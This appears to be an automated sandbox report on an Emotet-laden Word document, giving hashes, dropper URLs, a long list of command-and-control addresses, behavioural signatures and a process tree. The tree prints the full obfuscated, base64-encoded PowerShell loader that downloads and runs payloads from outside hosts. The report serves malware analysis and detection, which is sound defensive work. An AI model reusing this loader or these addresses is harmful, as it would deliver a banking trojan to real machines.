emotet | e84e38f11c2ac4645ca6aa5ac574efb96531176ed43012aeb8e853fb53725952

Analysis

max time kernel
137s
max time network
150s
platform
windows10_x64
resource
win10
submitted
01/10/2020, 21:36

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General

Target
emotet_e1_e84e38f11c2ac4645ca6aa5ac574efb96531176ed43012aeb8e853fb53725952_2020-10-01__213316786609._doc.doc
Size 164KB
Sample201001-pl2pte38d6
SHA256 e84e38f11c2ac4645ca6aa5ac574efb96531176ed43012aeb8e853fb53725952
MD5 c71373f5ced5bb3ad9e788b8608e3590
SHA1 8e26ccd0693d0e26419a3da66b8ee00823078398
SHA512 f3f1ccb2e4e7347aa49387ab3a16795bd7ca8844804b94f57edfed7913d55d77c6ad2c4f592dc7fa3bffd49e74e9c2b4e5a5b2cde069874b243cf733c546649c
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://www.removepctrojan.com/wp-admin/K/
exe.dropper
https://theshaywest.com/wp-admin/V/
exe.dropper
http://carstarai.com/stats/D/
exe.dropper
http://financiamentointeligente.com/wp-content/F/
exe.dropper
http://banglashongbad.com/wp-content/sW/
exe.dropper
http://www.sff3d.com/3d/D/
exe.dropper
https://emmaidea.com/wp-includes/q/

Extracted

Family

emotet

202.22.141.45:80
37.187.161.206:8080
202.29.239.162:443
80.87.201.221:7080
82.76.111.249:443
216.47.196.104:80
192.241.143.52:8080
192.81.38.31:80
87.106.253.248:8080
64.201.88.132:80
192.241.146.84:8080
12.162.84.2:8080
1.226.84.243:8080
177.129.17.170:443
202.134.4.210:7080
70.169.17.134:80
152.169.22.67:80
5.196.35.138:7080
138.97.60.141:7080
203.205.28.68:80
83.169.21.32:7080
191.182.6.118:80
190.188.245.242:80
62.84.75.50:80
181.74.0.251:80
189.2.177.210:443
111.67.12.221:8080
188.135.15.49:80
217.13.106.14:8080
68.183.190.199:8080
178.250.54.208:8080
189.35.44.221:80
201.213.177.139:80
137.74.106.111:7080
177.73.0.98:443
70.32.84.74:8080
51.15.7.145:80
177.74.228.34:80
185.94.252.27:443
50.121.220.50:80
186.70.127.199:8090
85.214.26.7:8080
181.129.96.162:8080
70.32.115.157:8080
82.230.1.24:80
60.93.23.51:80
213.197.182.158:8080
149.202.72.142:7080
190.115.18.139:8080
72.167.223.217:8080
190.24.243.186:80
109.169.12.78:80
94.176.234.118:443
185.232.182.218:80
219.92.13.25:80
209.236.123.42:8080
119.106.216.84:80
51.255.165.160:8080
51.75.33.127:80
51.15.7.189:80
61.197.92.216:80
5.189.178.202:8080
172.104.169.32:8080
45.33.77.42:8080
98.13.75.196:80
74.58.215.226:80
68.183.170.114:8080
155.186.0.121:80
190.117.79.209:80
128.92.203.42:80
202.4.58.197:80
70.116.143.84:80
77.238.212.227:80
67.247.242.247:80
12.163.208.58:80
212.71.237.140:8080
46.43.2.95:8080
96.227.52.8:443
186.103.141.250:443
185.94.252.12:80
104.131.41.185:8080
45.46.37.97:80
95.9.180.128:80
87.106.46.107:8080
50.28.51.143:8080
65.36.62.20:80
35.143.99.174:80
51.38.124.206:80
185.183.16.47:80
181.30.61.163:443
170.81.48.2:80
74.136.144.133:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3004	1328	POwersheLL.exe	73

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2780-15-0x0000000000600000-0x0000000000612000-memory.dmp	emotet
behavioral2/memory/2780-16-0x0000000000620000-0x0000000000630000-memory.dmp	emotet
behavioral2/memory/1244-19-0x0000000000760000-0x0000000000772000-memory.dmp	emotet
behavioral2/memory/1244-20-0x0000000000780000-0x0000000000790000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	3004	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2780	Iax46d69.exe
1244	amstream.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\KBDLA\amstream.exe	Iax46d69.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3904	WINWORD.EXE
3904	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
3004	POwersheLL.exe
3004	POwersheLL.exe
3004	POwersheLL.exe
1244	amstream.exe
1244	amstream.exe
1244	amstream.exe
1244	amstream.exe
1244	amstream.exe
1244	amstream.exe
1244	amstream.exe
1244	amstream.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3004	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
3904	WINWORD.EXE
2780	Iax46d69.exe
1244	amstream.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3004 wrote to memory of 2780	3004	POwersheLL.exe	80
PID 3004 wrote to memory of 2780	3004	POwersheLL.exe	80
PID 3004 wrote to memory of 2780	3004	POwersheLL.exe	80
PID 2780 wrote to memory of 1244	2780	Iax46d69.exe	81
PID 2780 wrote to memory of 1244	2780	Iax46d69.exe	81
PID 2780 wrote to memory of 1244	2780	Iax46d69.exe	81

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_e84e38f11c2ac4645ca6aa5ac574efb96531176ed43012aeb8e853fb53725952_2020-10-01__213316786609._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3904

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABUAGYANwBsAGYAXwB2AD0AKAAnAEEAeAAnACsAJwBuAHgAJwArACgAJwAxACcAKwAnAGgAdgAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQAnACsAJwB0ACcAKwAnAGUAbQAnACkAIAAkAGUATgB2ADoAdQBzAGUAUgBQAHIATwBGAEkAbABFAFwAaABzAGsAZwByAE8AOABcAHYAZgA4AHkANgBkAEoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAGMAdQByAGkAVAB5AHAAYABSAE8AdABPAGAAYwBvAEwAIgAgAD0AIAAoACgAJwB0AGwAcwAnACsAJwAxADIAJwApACsAKAAnACwAJwArACcAIAB0ACcAKQArACgAJwBsAHMAJwArACcAMQAnACkAKwAoACcAMQAsACcAKwAnACAAdAAnACkAKwAnAGwAcwAnACkAOwAkAEkAcwA4ADkANQBzAGcAIAA9ACAAKAAoACcASQAnACsAJwBhAHgAJwApACsAJwA0ACcAKwAoACcANgAnACsAJwBkADYAOQAnACkAKQA7ACQARgB2AHoANgA3AGoAaQA9ACgAKAAnAFEAJwArACcAZwB6AHgAJwApACsAJwA3AG4AJwArACcAawAnACkAOwAkAEkAaQA4AHAANgAyAHQAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBDAFAAJwArACcAeQBIAHMAJwApACsAJwBrAGcAJwArACgAJwByACcAKwAnAG8AOABDAFAAeQBWACcAKQArACcAZgAnACsAJwA4ACcAKwAnAHkAJwArACgAJwA2AGQAagBDAFAAJwArACcAeQAnACkAKQAgACAALQBSAGUAUABMAEEAYwBFACgAJwBDACcAKwAnAFAAeQAnACkALABbAEMASABBAHIAXQA5ADIAKQArACQASQBzADgAOQA1AHMAZwArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAFMAZgA2AGIAagBfAHgAPQAoACcASQBtACcAKwAnADUAcQAnACsAKAAnAHEAJwArACcAcQB5ACcAKQApADsAJABLAGIAcgBpAHQAYwBwAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAFcAZQBCAGMATABJAEUAbgBUADsAJABJAHUAMQB6AGYAeABmAD0AKAAoACcAaAAnACsAJwB0AHQAcAA6AC8ALwB3AHcAJwArACcAdwAuAHIAZQAnACsAJwBtACcAKwAnAG8AdgAnACkAKwAnAGUAJwArACgAJwBwAGMAJwArACcAdAByAG8AJwArACcAagAnACsAJwBhACcAKwAnAG4ALgBjAG8AbQAvACcAKQArACgAJwB3AHAALQBhAGQAJwArACcAbQAnACkAKwAoACcAaQAnACsAJwBuAC8ASwAnACkAKwAoACcALwAnACsAJwAqAGgAJwApACsAKAAnAHQAdAAnACsAJwBwAHMAOgAnACkAKwAoACcALwAvACcAKwAnAHQAJwApACsAJwBoAGUAJwArACgAJwBzACcAKwAnAGgAYQAnACkAKwAnAHkAJwArACcAdwBlACcAKwAnAHMAJwArACcAdAAuACcAKwAoACcAYwAnACsAJwBvAG0ALwAnACkAKwAoACcAdwBwACcAKwAnAC0AYQBkAG0AJwApACsAKAAnAGkAbgAvAFYAJwArACcALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdAAnACkAKwAoACcAcAA6AC8ALwAnACsAJwBjACcAKQArACgAJwBhAHIAJwArACcAcwB0ACcAKQArACcAYQAnACsAKAAnAHIAYQAnACsAJwBpAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AcwAnACkAKwAoACcAdAAnACsAJwBhAHQAJwArACcAcwAvAEQALwAnACsAJwAqAGgAdAB0ACcAKwAnAHAAOgAvAC8AJwApACsAKAAnAGYAaQBuAGEAbgAnACsAJwBjAGkAYQBtAGUAJwArACcAbgAnACkAKwAoACcAdABvAGkAJwArACcAbgB0AGUAbABpACcAKQArACcAZwBlACcAKwAnAG4AJwArACgAJwB0AGUALgBjACcAKwAnAG8AbQAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjAG8AbgB0AGUAJwArACcAbgB0ACcAKwAnAC8ARgAvACcAKQArACgAJwAqAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKwAnAC8AYgBhAG4AZwBsAGEAcwBoACcAKwAnAG8AbgAnACkAKwAnAGcAYgAnACsAJwBhACcAKwAoACcAZAAuAGMAbwAnACsAJwBtAC8AdwAnACkAKwAnAHAALQAnACsAKAAnAGMAJwArACcAbwBuAHQAZQBuAHQAJwApACsAKAAnAC8AcwAnACsAJwBXAC8AKgBoAHQAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwB3AHcAJwArACcAdwAuACcAKwAnAHMAZgBmACcAKwAnADMAZAAuAGMAbwBtACcAKQArACgAJwAvADMAZAAvACcAKwAnAEQAJwApACsAKAAnAC8AKgAnACsAJwBoACcAKQArACgAJwB0AHQAJwArACcAcABzADoALwAvACcAKwAnAGUAJwApACsAJwBtACcAKwAnAG0AJwArACgAJwBhAGkAJwArACcAZAAnACkAKwAoACcAZQBhACcAKwAnAC4AYwBvAG0AJwArACcALwB3ACcAKQArACcAcAAtACcAKwAoACcAaQBuAGMAbAB1AGQAJwArACcAZQAnACkAKwAnAHMAJwArACcALwBxACcAKwAnAC8AJwApAC4AIgBTAHAAbABgAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAMAA5AHAANwAyAGYAPQAoACcARAAnACsAJwBuACcAKwAoACcAZABiADgAOQAnACsAJwBxACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBzAHQAOQBsAGUAagAgAGkAbgAgACQASQB1ADEAegBmAHgAZgApAHsAdAByAHkAewAkAEsAYgByAGkAdABjAHAALgAiAEQAbwBXAG4AbABvAGAAQQBgAEQAYABGAEkAbABlACIAKAAkAEIAcwB0ADkAbABlAGoALAAgACQASQBpADgAcAA2ADIAdAApADsAJABKADcAZgA5AF8AOABjAD0AKAAoACcAWQAnACsAJwBlAHMAdAAnACkAKwAoACcAcAA0ACcAKwAnADUAJwApACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQASQBpADgAcAA2ADIAdAApAC4AIgBMAGAAZQBgAE4ARwBUAGgAIgAgAC0AZwBlACAAMgAzADcANwA3ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AawBlACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEkAaQA4AHAANgAyAHQAKQA7ACQASwB6ADkAcQA3AGMAXwA9ACgAKAAnAE0AJwArACcAOAA3ADgAdgAnACkAKwAnAHkAbwAnACkAOwBiAHIAZQBhAGsAOwAkAEYAZAB2AGwAMQBrAGIAPQAoACgAJwBTAHIAMgAnACsAJwBpACcAKQArACgAJwB3ADAAJwArACcAbQAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAB1AHMAagBzAGgAcwA9ACgAJwBFADkAJwArACgAJwB0AF8AaAAnACsAJwBtAG0AJwApACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3004
- C:\Users\Admin\Hskgro8\Vf8y6dj\Iax46d69.exe
  "C:\Users\Admin\Hskgro8\Vf8y6dj\Iax46d69.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2780
- - C:\Windows\SysWOW64\KBDLA\amstream.exe
    "C:\Windows\SysWOW64\KBDLA\amstream.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:1244

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1244-20-0x0000000000780000-0x0000000000790000-memory.dmp

Download

memory/1244-19-0x0000000000760000-0x0000000000772000-memory.dmp

Download

memory/2780-16-0x0000000000620000-0x0000000000630000-memory.dmp

Download

memory/2780-15-0x0000000000600000-0x0000000000612000-memory.dmp

Download

memory/3004-10-0x000001FDED490000-0x000001FDED491000-memory.dmp

Download

memory/3004-11-0x000001FDED6E0000-0x000001FDED6E1000-memory.dmp

Download

memory/3004-9-0x00007FF8D67D0000-0x00007FF8D71BC000-memory.dmp

Download

memory/3904-0-0x00007FF8DE1C0000-0x00007FF8DE886000-memory.dmp

Download

memory/3904-8-0x00000210EA4D4000-0x00000210EA4D6000-memory.dmp

Download

memory/3904-7-0x00000210EA4D6000-0x00000210EA4DB000-memory.dmp

Download

memory/3904-6-0x00000210EA4D6000-0x00000210EA4DB000-memory.dmp

Download

memory/3904-5-0x00000210E7E41000-0x00000210E7E46000-memory.dmp

Download

memory/3904-4-0x00000210EA31A000-0x00000210EA31D000-memory.dmp

Download

memory/3904-3-0x00000210EA31A000-0x00000210EA31D000-memory.dmp

Download

memory/3904-2-0x00000210EA31D000-0x00000210EA322000-memory.dmp

Download

memory/3904-1-0x00000210EA31A000-0x00000210EA31D000-memory.dmp

Download